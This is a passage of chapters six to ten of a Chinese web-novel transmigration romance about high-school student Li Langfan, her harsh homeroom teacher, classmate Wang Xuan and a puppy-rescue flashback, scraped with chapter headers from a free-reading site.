李浪帆眉头轻挑,一双眸子似笑非笑,“然后我就给他们科普了《劳动合同法》,要求他们支付从第二个月起的双倍工资,不然就去申请仲裁。最后事情闹大,梁华他爸来了。可能不想让其他工人看他们家笑话吧,就让财务给了钱,杨萍喜提双倍工资。” 王暄手指轻轻在桌子上敲着,沉默了一会儿,说:“你见义勇为是好事儿,但是也要学会保护自己,最好录音录像,保留证据,小心被告敲诈勒索。” 李浪帆点点头。 “事已至此,她总算开窍了,她自己也不想被人卖了还倒帮着数钱。我替她联系我姐,我姐说她们厂还在招人。杨萍趁她爸妈去梁华家赔礼道歉的时候,拿了赔偿金背着行李,坐火车跑滨海市去了。” 王暄看着她右臂,要出口的话皆尽化为一声叹息。 李浪帆瞧他神色,解释道:“梁华可能左思右想气不过,今天下午拿根钢管在路上堵我。你放心,咱也不是挨打不还手的人,我揍他跟玩儿似的,他受的伤比我严重得多。可惜路上没监控,再加上我也动手了,要不然高低得让他进局子住几天。” 尽管王暄心中波涛汹涌,但面上仍一副平和模样,“便宜他了。” 回到教室后,王暄拿出一叠明信片,走向教室最后一排李浪帆的座位。 他听到李浪帆正在跟同桌韩晓玥聊天,“建档立卡的学生免一切学杂费,而且学校发放助学金,哪轮得到他卡。” 韩晓玥仍旧有些不放心,“我去年就是大哥教的,他很小心眼儿,你注意点别被他穿小鞋了。” “嗯。”李浪帆说完回头看向站在旁边的王暄,眼神询问他有什么事。 王暄将明信片放在她桌上,“送你,我自己拍的。” 李浪帆没想到他还会摄影,有些惊讶。 拿起来后发现有米尔福德峡湾、阿连德的雕像、复活节岛石像、草原、海峡、拍在船舷上的海浪、冰山、企鹅、长城站。 她翻到这一叠明信片背面,发现还盖着不同的邮戳,一堆英文中,她只认得“中国南极科学考察”的印章。 “谢谢!谢谢!王大师摄影水平十分高超,太厉害了,我很喜欢!”李浪帆十分真诚。 “不用客气。” 王暄神色温柔站在那里,斜上方的灯为他添加了一层淡淡的光晕,李浪帆恍惚间觉得他周身似有月华在缓缓流动。 等他走后,李浪帆一张一张翻过去看,这才发现有张明信片背面写着:“途经德雷克海峡,冷风呼啸而来,忽然想起初见时你的眼睛。” 韩晓玥一脸发现新大陆的表情看着她,眼波流转中带着几分戏谑,“诶?你们有情况哦!” 李浪帆茫然无措摇摇头,随即垂眸沉思。 她在记忆中疯狂寻找,但实在想不起来第一次见王暄是什么时候。 第二天早读结束,李浪帆在楼下等容喻一起去换衣服升旗。 王暄是旗手,李浪帆是护旗手之一,容喻是护卫队成员。 更衣室在办公楼一层的尽头。等李浪帆和容喻换完海军军装出来时,发现王暄正表情凝重站在门口。 旁边男生问他:“那你这怎么办?” 王暄看到李浪帆疑惑的神情,指指胸前,又摊开手掌给她看掉落的扣子,“我没找到备用的军装,更衣室也没有针线。” “等我一分钟。”李浪帆说着就跑向教务处。 还不到一分钟,李浪帆拿着一枚回形针跑了回来。 “用这个把扣子别上就行。”她递给王暄。 王暄迟疑着接过来,“……怎么别?” “扣子给我。”李浪帆手指不小心划过他掌心。 王暄看她右手活动自如的样子,低声问道:“胳膊不疼了?” “嗯,已经好了。”李浪帆用回形针穿过扣眼,然后拉直王暄的前襟,将回形针卡上去后,顺手把扣子系上了。 总算李浪帆反应奇快,几人没耽误升旗仪式。 中州一中的学习氛围非常浓厚,尤其是A班,每个学生心中都定下了竞争者。 开学之后便是无穷无尽的学习与做题,上课有随堂考,两周一小考,每月一大考,考场和座位也都是按照上次考试成绩来排。 李浪帆一直坐在第一考场,她每次考完试都会把桌子上贴的考号揭下来,粘在本子上,等成绩出来后在旁边记录,进步还是退步一目了然。 一个月过去,月考终于来临。 李浪帆最近心情不错,她感觉学习压力不大,除英语外其他科目都不算难,尤其是政治、历史、地理,学起来简直易如反掌。 人一放松就容易出岔子,李浪帆做完文综卷子看别人奋笔疾书,她一手转着笔,丝毫没有发现自己把考号最后一位涂错了。 当王育林拿着一摞答题卡怒气冲冲地走进教室时,李浪帆正在给韩晓玥讲一道政治题。 “都坐自己位置上。”王育林站在讲台上,边说话边扫视所有人,半晌再次开口:“这次我们班总体成绩不如八班。” 同学们都屏声息气以待,总感觉班主任下一秒就会火山爆发。 “那都是因为极个别人!”喷发的火山简直要把讲台敲烂。 李浪帆很肯定他锐利如刀的目光盯得是自己。 王育林证实了她的判断,“李浪帆!咱班的倒数第一!整个文科都排倒数!” 许多同学转头去看她,都觉得难以想象。 李浪帆始料未及,神色迷茫而空白,怀疑自己大梦未醒。 王育林却不给她反应的时间,“你站起来。” 李浪帆站起身看着他。 只见他拿起一张写得整整齐齐的答题卡,正反两面展示给全班同学看。 “这是李浪帆的,答得不错,几乎都在点上……但是!” 他脸上覆着一层寒霜,所有人都明白,“但是”后面才是重点。 王育林暴躁地用手指捣着涂准考证号的区域,“零分!零分!” 霎时间李浪帆手脚冰凉,渗出细密的冷汗,心跳碰碰作响,像激荡的战鼓。 她此时此刻才意识到自己的准考证号涂错了。 “你答的再好也是零分!准考证号都涂不对!你干什么吃的!我说了多少次了!全校几千考生,怎么就你一个人涂错!” 答题卡被甩地在空中飞舞,“哗哗”作响。 “至少丢了270分。你自己算算,你拉低了咱班多少平均分!你对得起你自己吗?你对得起老师吗?你对得起同学吗!” 相比于王育林愈燃愈烈的怒火,李浪帆已经慢慢冷静下来。 “对不起。”她看起来十分沉痛。 王育林觉得她简直是块滚刀肉,“一看就是那种自以为是的学生。你拽什么?偏科偏成这样,比那差生还差!还自以为很了不起是不是?就你这事儿已经成反面典型了!你要还是这个态度,以后上个大学都难!” 李浪帆恍然大悟,“王老师,是不是领导开会批评你了?” 王育林冷冷剜她一眼,无比恼恨李浪帆众目睽睽之下问出这种话,更认定她是故意的。 王育林不再理李浪帆,也不叫她坐下,又拿起一张成绩单,说:“叫到名字的站起来。” 他一连念了四个人名,扬起下巴蔑视着他们,“来,大家都认识认识,咱们班的‘五虎上将’。” 几乎所有人的目光都汇聚到站着的五个人身上。 “爹妈供你们上学,就是让你们来考倒数的?” 王育林用手背拍着自己的脸,“我要是你们家长,孩子考成这样,我都没脸出门!” 王暄和少数几个人坐在那里纹丝不动,并不想参与这场“围剿”。 王育林沉默良久才悠悠道:“倒数第六、倒数第 6. 06 《替身女配竟是白月光[穿书]》全本免费阅读 这天晚上,李浪帆的检讨确实在班里掀起了轩然大波。 王育林怒发冲冠,“明天把你家长叫过来!” 李浪帆平静回答道:“如果他们还活着,应该也不想看到有人大庭广众之下羞辱自己的孩子。你非要见的话,我晚上让他们托梦试试。” “怪不得呢!真是有爹生没娘养!”王育林已经气得口不择言。 王暄傲然站起:“王老师!请您不要本末倒置。根据马斯洛需求层次理论,尊重需求在自我实现之下。连基本的尊重都难以得到,又何谈自我实现!我认为教育观、学生观、教师观要求的内容没有问题。” 班长沈溪云小声接话:“没错!” “李浪帆分享出来也是希望大家共同学习,共同进步。” 王暄睁着眼睛说瞎话,“她是一番好意,您何必恶语伤人呢?” 李浪帆站在讲台上对他眨眨眼。 后排有同学窃窃私语:“就是!我也觉得她说的挺好。” 王育林话一出口就自知不妥,但现在要他向学生低头那是万万办不到的。 他看也不看李浪帆,“行,下去吧。以后我也不管你,你爱怎么着就怎么着!” 下课后,同学们一哄而散离开教室。 李浪帆在走廊追上王暄,“感谢你仗义执言。” “说不定是火上浇油。”王暄神色柔和,“你回去早点睡吧,晚安。” 忽然有人从背后挎上李浪帆的胳膊,她侧头一看,是室友卓尔和董琳。 董琳看看王暄的背影又看看李浪帆,对她挤眉弄眼笑道:“一会儿回宿舍再审问你。” 晚自习下课到熄灯,只有二十分钟时间。 四人迅速洗漱完后,又把桌子和地板收拾干净,赶在熄灯哨声响起前上了床。 中州一中宿舍管理条例非常严格。 哨声响起后不能有人洗漱、走动,所有人必须躺在床上,不能聊天。 每层楼的宿管会来回巡查,楼下也会有值班领导检查熄灯情况。 每天早上宿管会一间一间检查卫生,要求被子必须叠整齐,统一放在床头;桌子上不能有任何物品;椅子必须放在桌子下;书架上不能有书;窗台和地面不能有灰尘、头发;厕所垃圾桶里不能有垃圾;阳台晾衣绳上不能晾衣服。 检查出一处就会扣所在班级0.8分,还会把寝室号、班级、扣分原因写在通报栏上。 一片漆黑中,董琳小声问李浪帆:“你老实交代,你跟王暄怎么回事儿?班主任那么生气他都敢替你出头。” 李浪帆侧躺着,“还能怎么,他赞同我说的,附和几句而已。” 卓尔突然坐起来看向她,“我也想替你说话,但是犹豫半天都不敢开口。你们两个胆子好大,我要这么有勇气就好了。” 赵璐莹十分赞同:“我也是。” “你发言稿也写的很好,像讨贼檄文,把咱班同学吓得目瞪口呆。不过我发现大家听得都特别认真,比公开课效果还好。”卓尔想到李浪帆的检讨内容有些兴奋。 然后她迟疑片刻,支支吾吾问道:“你是给王暄看过吗?我感觉他一点也不惊讶。” “对。” “我就说!”董琳惊呼一声,又连忙捂住嘴,确认宿管阿姨不在附近后,小心控制音量。 “怪不得王暄今天没走,他站起来呛大哥的时候我还纳闷呢,现在想想肯定是怕你被骂,要等你过关才放心。我可不信你们没什么关系。” 她说到这里,李浪帆终于问出心中疑惑:“我一直想问来着,王暄每天最后两节晚自习都去哪了?没见他在过。还有另一个女生也是。” “回家啊!”卓尔诧异于她竟然不知道,“他上两节课就走了。” 董琳替卓尔补充:“那个女生叫周沅杏,这都开学一个月了,你还没把人认全呀?” 李浪帆想起开学第三天,董琳在餐厅跟自己打招呼,然而自己根本没认出是室友,只觉得脸熟。 她一时间有些不好意思,尴尬地岔开话题,“学校不是不让走读吗?他们还缺两节课。” “特殊人员特殊对待,就凭他们两家的背景,学校自然会通融。”卓尔的声音传来。 董琳对八卦如数家珍,“周沅杏的家世相比王暄虽然差些,但跟我们也不是一个世界的。至于王暄,他家可是顶级豪门。” 李浪帆觉得她有些夸大其词,“哦。” 卓尔一听就知道她不信,“你不是坐过他们家车吗?” “你怎么知道?”李浪帆有些讶异。 卓尔揶揄她:“年前放假看到的呀!我又不脸盲。” 李浪帆感慨:“你这记性也够好的。” “他人长得又帅,家里还有钱,学习也那么好,咱们学校很多人注意他。”卓尔羞涩地向她解释。 董琳语带调侃:“何止,少爷打扮的也讲究,一周七天衣服都不带重样,我跟你说,他身上没有一件便宜货。看也知道很有钱吧?他手上的表我查过,全球限量十块,卖七位数。” 李浪帆暗自咋舌,感慨贫穷限制了自己的想象。 这下连赵璐莹都非常不解:“王暄家这么有钱,他怎么不出国呀?为什么来一中吃苦受罪。” 卓尔和董琳也不知道原因。 李浪帆虽然不清楚他为什么来中州一中,但觉得有钱和出国间并不存在直接因果关系。 董琳没问出想要的答案,正欲再问,一道光线透过木门上的玻璃窗射进来,卓尔瞬间躺下。 宿管阿姨站在门口,拿着手电筒轮番扫过四张床,“赶紧睡觉!再说话扣分!” 等宿管走远后,董琳再叫李浪帆时,她已经蒙着被子,偷偷打开小台灯,趴在床上刷题了。 李浪帆擦过五轮黑板后,第二次月考如期来临。 可能是上个月她和王暄的反抗起了作用,这回月考结束后,王育林没再进行他对倒数后五名的羞辱仪式。 李浪帆这次考了全班第六,年级第十三名,和平常周测差不多,属于正常发挥。英语老师看见成绩单后又开始发愁。 英语老师叫苗琼,刚研究生毕业没几年,教学能力强,人又和善,不仅长得漂亮还会打扮,许多学生都很喜欢她,包括李浪帆在内。 惹她不高兴确实不是李浪帆的本意,但她实在是学不会。 苗琼拿着一张成绩单,把李浪帆叫到教室后面的休息室,“这样下去可不行呀,你其他几科都考这么好,怎么就英语是年级倒数呢?你看,你英语比第一名少了73分,多惊人的数字啊!” 她开始有些自我怀疑,“可能是我经验不太足,教学的方法不太适合你。因材施教说起来容易,真的面对上百号学生的时候确实难。” “没有,同学们都说英语老师教的很好。是我的原因。” 李浪帆有些自责,她一开始英语学的就不好,后来就有逃避心理,在考不好和不想学见陷入了恶性循环。 苗琼沉思片刻,做出决定,“这样吧,咱山河省听力不计入高考成绩,这个模块你直接放弃。单词不用会写,能认出来就行。作文再不济也能写几句,你字写得好看,能拿十分就可以了。现在咱只抓阅读理解,七选五和完形填空,其他的现阶段战略性放弃。先把英语提到及格分再说。” 李浪帆认真听她分析。 苗琼又提议:“这次选座位的时候,你挑个英语好又热心的同桌,让人家带带你,我毕竟不能时时刻刻在班里。” “耽误别人学习不太好吧,我在英语上又不开窍。”李浪帆有些迟疑。 “嗯……”苗琼从上到下挨 7. 07 《替身女配竟是白月光[穿书]》全本免费阅读 王暄弯腰把笔捡起来,开玩笑说:“被我蠢得连笔都拿不稳了?” “没有!没有!手滑。”李浪帆的表情里夹杂着惊诧和呆滞。 系统疯狂碎碎念:[救命啊!男主为什么会和你一个学校!原文不是这么写的!他一直和男二在读私立国际高中!怎么会提前八年遇到你!] 李浪帆强行稳定心神,拿出演草本专心给王暄讲题。 她三言两语就把题讲得清清楚楚。让王暄自己理一理思路,再做一遍,然后又找了两道同类型的题给他。 王暄做题时,李浪帆不断询问系统:“你怎么不早说?我和他已经同班两个月了。会不会是同名同姓?你靠谱吗?” [绝对没错,就是他本人,不是重名!以前没发现是因为你一直屏蔽我!我没有检测到!]系统为自己辩解。 “上个月考文综那会儿,你明明还出来和我聊过天,当时他就在我们考场。”李浪帆指出漏洞。 系统有些懊悔,[考场上三十个人,他又在做题,我根本没注意到他……] “我早就觉得原文剧情离谱的很,不像心智健全的人能干出来的事儿。你看王暄现在不挺正常的?温柔爱笑,热心开朗。” 李浪帆气定神闲反问系统:“人的性格一般在十二岁前定型。你认为他和你描述的那个阴鸷偏执、手段狠辣的男主有半分相似吗?” [……]系统哑口无言。 李浪帆接着分析:“原文写第一次见到他时我在陪酒,但实际上却是我在军训时认识的他。而且你自己也说,你绑定我的时间,比原文开篇男女主重逢提前了十年。所以,极有可能是你的程序设置有些问题,毕竟人工智能有时候会像,嗯……人工智障。” [我听出来了,你在嘲讽我。]系统放弃挣扎。 “女主叫什么?不会没有出国,也在我们班吧?”李浪帆问。 “高霏。”系统这次认真检测了一圈,“不在附近。” 李浪帆也没听说过这个名字。 [虽然现在和原剧情有偏差,但是世界线的限制还在,你如果完不成任务真的会有惩罚。]系统不得不重申规则。 [最好少和男主打交道。] 李浪帆轻描淡写说:“离好戏开场还有十年,急什么。” [滴——系统已屏蔽] 闲聊的功夫,王暄已经做完两道题了。 “全对!一点就通!真了不起!保持下去,马上数学就能比我好了!”李浪帆向来信奉鼓励式教学。 王暄被她的夸张逗笑,“说谎话都不脸红。” 他反客为主,“你英语单词能背多少?” 李浪帆诚实回答:“除了‘abandon’这种,我记得最准确的词竟然是‘tadpole’。” “为什么?你喜欢蝌蚪?”王暄一头雾水。 李浪帆面无表情地说:“因为一个无聊的段子。女生意外怀孕。朋友问你们没有做安全措施吗?女生说带套了,但是他的破了,蝌蚪出来了。蝌蚪,tadpole,ta-d-po-le,他的破了。” 王暄左手握拳,抵着唇极力克制笑声。 好半天才说:“把我笑死对你没什么好处。懂了,你适合用这种联想记忆法去记单词。” 沈溪云听见李浪帆的话也一直在笑,问她:“容喻给你讲的是不是?她也给我发过。什么时候我听见这个能不笑。” 李浪帆唇角微扬表示默认。 王暄挑了挑眉,“下次升旗前,我要去问问她,看她还记不记得蝌蚪怎么拼。” 春光作序,万物和鸣。 三人互帮互助的学习生活就此开始,李浪帆觉得教室中间“黄金地带”的学习氛围确实比最后一排要好。 她和沈溪云也成了饭搭子。 沈溪云发现李浪帆很爱吃辣,每次中午吃饭都会带一瓶辣酱。 辣酱用玻璃瓶装着,里面是辣油、花生碎和鸡丁。她认出来那是山河省最常见的橘子罐头的瓶子。 沈溪云尝了一口,脸都辣红了,“超级好吃,可惜我不太能吃辣。这是你自己做的吗?” 李浪帆点点头。 沈溪云赞叹道:“好强,我只会煮泡面。” “我爸妈以前在镇上开餐馆。”李浪帆又倒了些辣油在烩面上。 沈溪云想到她之前对王育林说父母已经不在了,不忍再去戳她伤口。 “我再来点儿辣,锻炼一下。” 午餐时间只有半小时。两人沉默又迅速地吃完了饭。 下午一点半前班主任在班里监督上自习。 一点半到两点二十是午休时间,在此期间所有人不许说话、走动、接水、上厕所,会有值班老师在几栋楼间巡查。 王育林盯完午自习走后,大家纷纷趴在桌子上开始午休。 李浪帆把桌子左上角的一摞书拉过来,正要趴上去睡觉,就看见王暄拿出了抱枕、眼罩和耳塞。 “你睡觉戴耳塞呀?”她用气音小声问。 王暄轻声说:“戴降噪耳机的话巡查老师会以为我在听歌。” 李浪帆本来是想问他,是不是只有在绝对安静的环境下才能睡着。因为她想起之前系统说男主经常失眠,女主会用小提琴拉舒缓的曲子哄他入眠。 她想确认一下,王暄却会错了意。 “……睡吧。” “午安。” “我怀疑换厨子了,刀削面做得一点味道都没有,这顿饭最入味的只有它的汤。”周五中午,王暄从食堂回来后抱怨起面难吃。 李浪帆建议:“你要不吃米饭吧,最近菜还行。” “主要是我很挑食,什么肥肉、蒜、香菜、芹菜、胡萝卜、木耳、平菇、豆腐皮、黄豆芽……”王暄像在表演单口相声一样报出了一长串。 “这些我都不吃,食堂很多菜里都会带点,我得坐那挑半天。小酥肉煲仔饭人又太多,得排好久的队。” 李浪帆从没见过如此挑食的人:“你这不吃那不吃,都能长这么高,真羡慕。” 王暄歪头看她:“你也不矮啊,有多高?一米七五?” 李浪帆摇摇头:“一米七四,哎,我想长得又高又壮。” 她接着问:“你能吃辣吗?还有花生你吃吗?” “都吃。” “你要不要下次把这个带到食堂吃。”李浪帆把那瓶所剩不多的辣酱拿出来。 “我自己做的,这两天我上火了,牙有点疼,最近都不能吃辣。” 沈溪云插话道:“超级好吃!不吃后悔!” 王暄笑着收下了。 月色如银 8. 08 《替身女配竟是白月光[穿书]》全本免费阅读 医生是一位四十多岁的女性,一头微卷的短发,看起来很和蔼。 李浪帆躺在牙科的治疗床上,通宵和牙痛再加上刺眼的灯光,使她第一次具象化体会到什么叫如芒刺背。 “别紧张,眼睛闭上放松点儿。”王暄捏捏她小臂安慰道。 李浪帆依言闭上眼睛,她认为没人能躺在牙科还不紧张。 王暄问医生:“田主任,她这颗牙坏得严重吗?昨天晚上疼得都睡不着。” “刚出现蛀牙的时候就应该来牙科看,现在龋洞现在很深,肉还长出来了,需要先切除。”田主任给他指指那颗牙。 他有些担忧,“这要怎么治疗?” “做完根管治疗再戴个牙冠就行。” 感觉到李浪帆更紧张了,田主任安抚她:“牙髓炎,常见病,别害怕。” 王暄把手伸给李浪帆,“你要是紧张就抓住我。” “没事儿。”李浪帆睁眼微笑着看向他,强装镇定。 等田主任开始打麻醉时,她就笑不出来了,忍不住眉头紧蹙,双手死死的攥着衣角。 治疗器械拿出来后,恐怖指数直线上升。 王暄轻轻别过头,不忍再看。 李浪帆都不知道自己是怎么熬到了治疗结束。 她有些可惜求仙问道的封建帝王不能来现代看牙,这大概会让他们觉得度秒如年,可以在另一种意义上实现长生不老。 “这次只是切除息肉,填了杀死牙神经的药,下周还得来。” 田主任又叮嘱许多注意事项,给了王暄一张折页,“这张注意事项还是你在宣传科的时候做的。” 王暄看着他设计的底图和版面,有点不好意思。 “过了几个月再看,感觉还是有很多可以优化的地方。” 他对李浪帆解释道:“我去年夏天闲得无聊,来医院宣传科,帮他们拍拍视频,还做过一些宣传图。” 李浪帆心想:“全能型人才。” 护士笑着调侃道:“你女朋友挺漂亮,你俩郎才女貌看着就养眼。” 李浪帆现在不能说话,她惊恐地摇头示意她和王暄不是这种关系。 王暄不自然地摸摸鼻子,解释说:“我们是同学。” 两人去停车场的路上,王暄看着李浪帆生无可恋的眼神,觉得有些可爱。 “再忍几天,很快就能痊愈。我送你回去,一会儿你给我写一下你家地址。” 李浪帆摆摆手,哼出一串抑扬顿挫的音节。 王暄听懂了,她说的是:“不用麻烦你,我自己回家。” “现在坐火车又赶不上……” 他话没说完,被李浪帆哼哼着打断。 “坐大巴回去?好吧。”王暄无奈地笑笑,两人一同上车。 李浪帆流露出一个歉疚的眼神。 下车后王暄从司机手中接过她的书包,非要和她一起进站。 “你又不能说话,怎么买票,你哼哼售票员又听不懂。” 李浪帆指指自助售票机,王暄假装看不到。 她伸出双手,把王暄的头掰了过去,让他看自助售票机。 王暄肩膀微颤,笑声从唇边溢出来。 车站人流密集,只见四处人头攒动,广播声和谈话声相互交杂回荡在大厅。 李浪帆买了一张去伊阳市的票,这是中州周边的一个县级市。 她刷完身份证,去王暄背后拉开书包翻零钱时,就听到机器出票的声音。 王暄帮她付了钱。 李浪帆掏出二十,坚决要还给他,看他不收就直接塞进他上衣口袋里。 “你要干嘛?占我便宜啊?”王暄故意笑她,怕她心中过意不去,没再把钱拿出来。 李浪帆拳头硬了。心想发疯可能是她的宿命,不用非得等到十年以后被眼前这个狗人关进去。 王暄在检票口才把书包给她,然后摆摆手走了。 第二天下午到校后,他收到李浪帆送给他的一瓶新的辣酱,连罐子都是新买的,不是罐头瓶。 “我实在是没什么能感谢你的,请您勉强笑纳吧。” 李浪帆觉得自己实在是还不清人情债。 “今天能说话了?”王暄接过辣酱。 “现在好多了。” 一连去医院三周,又做口扫,又戴牙冠,她的牙才彻底治好。 李浪帆要给钱,王暄再次重申自家医院根本不花钱。 其实治疗的药品和损耗都是要从科室利润里扣,只不过李浪帆不懂这些。 王暄不愿让医生护士又干活又亏钱,于是趁李浪帆治疗的时候,强行拉着一个医生让人家开单子,他悄悄付了钱。 李浪帆晚上回到宿舍,卓尔问她:“浪帆,你是不是和王暄早恋了?我已经连续三次看见你上他车了。” 董琳马上附和:“我也看见了!你谈恋爱都不告诉亲爱的室友,太不够意思了吧!” 李浪帆很想问问,到底是谁说的人生没有观众。 “学校门口公交车挤不上,我蹭他家车顺路去火车站。” 她也不好到处宣扬王暄带自己去医院,怕给他惹不必要的麻烦。 卓尔说:“王暄家在学校北边,火车站在学校南边,根本不顺路。人家是南辕北辙,他来个北辕南辙。” 董琳八卦之魂熊熊燃烧:“他为什么对你这么好?是不是喜欢你。你长得这么好看,喜欢你也正常。” 李浪帆无奈叹气:“怎么就不能是他乐于助人,看我穷困潦倒又挤不上车,想日行一善呢?王暄人本来就很好,送送同学很正常吧?” 董琳像听到一个天大的笑话,“就你觉得王暄人好。我去年和王暄一个班,班长找他画黑板报,他不画,还说:‘我可以浪费我的时间,别人不可以。’你觉得他是热心的人吗?” 李浪帆说:“可能他画的不好吧。” 卓尔告诉她:“他画画非常好,还得过不少奖,完全是那种‘别人家的孩子’,你没见过他的画吗?” “我只见过他拍的照片。”提到照片,李浪帆好像想起什么,但很快思绪又被董琳打断。 董琳继续控诉:“还有去年,班里同学问他题,他也不讲,很不耐烦告诉人家书上有,自己翻。还有还有,七班女生向他告白,他也很冷漠地拒绝了。” 卓尔忍不住替王暄挽回名声:“我觉得 9. 09 《替身女配竟是白月光[穿书]》全本免费阅读 照片、被救的流浪狗、宠物医院……把所有的一切联系起来后,李浪帆茅塞顿开。 “噢!给小狗付医药费的是你!” “你终于想起来了,真是可喜可贺。”王暄唇角微扬,无奈地叹口了气,“但是我们当时明明聊了那么多句,为什么你只记得我付医药费呢?” 李浪帆蓦然红了耳根,她发觉自己说这话确实像眼里只有钱一样。 “稀奇,你竟然会因为一句话脸红。”王暄饶有兴味地看着她。 “谁说我只记得你付钱的事!”李浪帆有些羞愤。 她转移话题:“你当时不是说要领养它吗?现在它怎么样了?” 王暄说:“我没有领养。我的狗去年冬天生病去世,我不会再养任何小动物了。但是我让宠物医院找了领养的人,小黑狗现在应该过得很不错。” 卓尔好奇地看看王暄又看看李浪帆,忍不住问道:“到底怎么回事儿?我听得云里雾里。谁能给我讲讲?” 王暄对着李浪帆抬抬下巴,“你讲,我听听你到底记不记得别的。” 李浪帆白了他一眼,回忆起那天晚上的事,娓娓道来:“去年暑假,我姐在中州大学附属医院做手术。我叔实在走不开,叫我来中州给她当陪护。” 沈溪云心想:“没别人了吗,怎么叫你一个初中生来伺候病人。” 李浪帆续道:“因为看病,家里几乎不剩下什么钱。我听其他患者家属说附近有家店的卤面很便宜,就一直去那儿吃饭。” 王暄插话说:“那天你走之后,是不是没再买饭?” 李浪帆点点头,她仿佛又回到那个充满湿润气息的夏夜,水坑倒映的霓虹灯也在眼前不断闪烁。 “有一天晚上十点多吧,我等我姐睡着以后出来买饭。那天刚下过雨,路上人很少。我买完饭走到半路上,看见有两个醉汉。这俩杂种正抓着一条黑色小土狗用烟头烫它,还拉着它的腿往地上摔。” “啊!”听到这里,卓尔惊呼一声。 沈溪云怒骂:“败类!” 李浪帆讲到这里,面露憎色,“那条狗最多也就三四个月大,哼哼唧唧地叫着。狗叫得越痛苦,俩杂种笑得就越开心。我实在气不过,把他们打了一顿。” 王暄悠悠笑道:“何止是打了一顿。我和严晏那天晚上出来拍雨后街景,看见马路对面有人虐狗,大声呵止他们,根本没用。” 沈溪云听到“严晏”时,心跳漏了一拍。 “我们正要等车流过去,翻越护栏揍他们时,就看见一位个子高高的女生,扔下东西,像一头暴怒的狮子,冲上去当胸一脚把抽着烟的小混混踢倒在地。又夺过另一人手中的酒瓶,朝他胸口砸了过去。”王暄眼中流露出惊叹的神色。 卓尔和沈溪云目瞪口呆,没想到李浪帆还会打架。 “你当时不害怕吗?”沈溪云光是听着都心有余悸。 李浪帆双手一摊,耸耸肩,“我怕把他们打死,所以没敢砸头。动手的一瞬间肾上腺素飙升,有种嗜血的兴奋感。” 王暄笑吟吟地描述着:“这时候我和严晏已经翻过护栏跑到跟前了。就看见李浪帆左手接过小狗,轻轻抱在怀里。那两个家伙被打得躺在地上半天起不来。她走过去从小混混嘴里抽出烟头,就往那人锁骨上摁。” “嘶——”卓尔倒抽一口凉气,看向李浪帆的眼神夹杂着钦佩和畏惧。 王暄接着回味,“然后又走到另一个人跟前,踩着他胸口,扇了俩耳光,还问他:‘以后敢不敢了?’” 李浪帆哑然失笑,“你这么一说,听起来我比他们更像变态。” “我问李浪帆要不要送医院,她缓缓抬眼看我,目光比寒冰更刺骨,很难不叫人想到西伯利亚刮来的冷风。”王暄看向她的表情似乎在说“你怎么不是?” “我没有!” “当时她一抬头,我就想:这么漂亮的女孩子怎么这么能打?那个眼神,让我差点以为她杀疯了,下一个要打的就是我。”王暄忍着笑,朝她眨眨眼。 “我立马解释我说的是狗要不要送医院。然后她目光才瞬间清澈,冷风终于停止呼啸。” “胡说八道!”李浪帆竭力维护自己的形象。 “严晏过去一看,她装面的袋子已经破了,只能扔进垃圾桶。我们俩来的路上看见过一家宠物医院,就让李浪帆抱着狗跟我们过去。”王暄递给李浪帆一个眼神,让她接着讲。 “到医院以后,医生说小狗的右侧后腿骨折,身上也有多处伤口,就带进去治疗了。”李浪帆对卓尔说:“就是他说的八公医院,医术确实不错。” 卓尔点点头。 李浪帆继续道:“他们两个脖子上还挂着相机,另一个男生,王暄刚说叫严晏的那个,他说刚才把我救狗的样子拍下来了,要给我看。” 她想起那些照片,叹了口气,“严晏和王暄一样,很会拍照。但是那些照片真的足够当证据,把我拘留了。” 卓尔原本就觉得这个名字耳熟,现在突然想起来,问王暄:“严晏?是那个明星吗?” 王暄点头。 “他最近演的《一千行情诗》特别火,而且扮演的少年男主看着真的好帅!你能帮我问他要个签名吗?”卓尔惊喜万分,期待地看向王暄。 王暄低笑一声:“你不如找沈溪云要,她肯定能给你要来。” “我可要不来!谁认识他!”沈溪云像被踩到尾巴的猫。 李浪帆疑惑地看着她。 沈溪云说:“浪帆你接着讲,那两个混混后来没找你麻烦吧?” “可能他们就欠揍吧,挨了一顿反倒老实了。”李浪帆靠着后排桌子,语调散漫,“王暄看见我身上穿的校服,问我是不是还在上初中,我告诉他我刚毕业。他说他们两个跟我一样。王暄又说他也很喜欢狗,还给我看了他家狗狗的照片。” “军训时见到你的第一眼我就认出来了,但是你一脸懵懂,我就知道你肯定把我给忘了。”王暄指控道。 “我还纳闷儿呢,怎么有个不认识的人叫我名字,还问我最近怎么样。我以为你是伊阳二初的同学,就只能说挺好的。”李浪帆有点不好意思。 “我没忘,就是有点脸盲。你是看了我身份证记住的名字吗?” 10. 10 《替身女配竟是白月光[穿书]》全本免费阅读 “答对了!”严晏一脸看好戏的神情。 “你不会是因为她和高霏长得像才……” 王暄想起高霏,笑意渐渐变冷,“怎么可能,你少拿她和我朋友比。” “嘿,翻脸无情。”严晏觉得不可思议。 “当年是谁跑高霏家里,说什么都要跟她一起出国,最后两个人抱头痛哭的?” 他抬脚碰了碰王暄的腿,“啊?小王同学,你说说这是谁干的呀?” 王暄慵懒地倚在沙发上,嘴角勾起浅浅的弧度。 “我刚考完试,用脑过度,记性不大好。我只记得,第一次见到高霏,还不知道她叫什么的时候,某人就跑过来,冲着我大喊:‘你走开!高霏是我的!’还天天死乞白赖地跟她后面。” 他挑眉,不甘示弱地反问,“布鲁托,你说我给你取的这个外号,是不是很贴切?” 严晏想起黑历史,恨不得钻到桌子底下。 “哥,我错了哥!求别提!小时候说的话能算数吗?我小时候还说长大要当太空人呢。” 王暄想了想,决定如实以告。 “今年寒假,我在纽约转机,约了高霏出来见面。她现在穿衣和妆容都很美式,跟从前大相径庭。” 严晏想起当初几人的欢乐时光,不由得感慨岁月如流。 “她已经出国三年半了吧?我也好久没跟她联系了。” 王暄浅啜一口饮料,淡淡道:“你最好少跟她联系。” “你们吵架了?”严晏认为事有蹊跷。 “我们一起逛了大都会博物馆,也看到里面一些珍贵的中国文物。” 王暄说到这里,露出愤然之色。 “她说国人不懂珍惜文物,才让这样的艺术瑰宝流落海外。而在美国,就连牙医都知道文物的价值。他从别人手里收购了《药师经变》壁画后,又怕自己无法妥善保存,于是以母亲的名义捐到这里。国人在文化和教育上,比起灯塔国的子民,远远不如。” 严晏皱眉道:“这话听着不对味儿呀!” 王暄眼神凌厉,“又说国人又缺乏文化修养,只爱去一些热门景点,很少到博物馆参观学习。并且国内的博物馆正好与美相反,大多数只是面子工程,建筑本身的风头盖过了馆内藏品,失去了‘博物’的本意。” 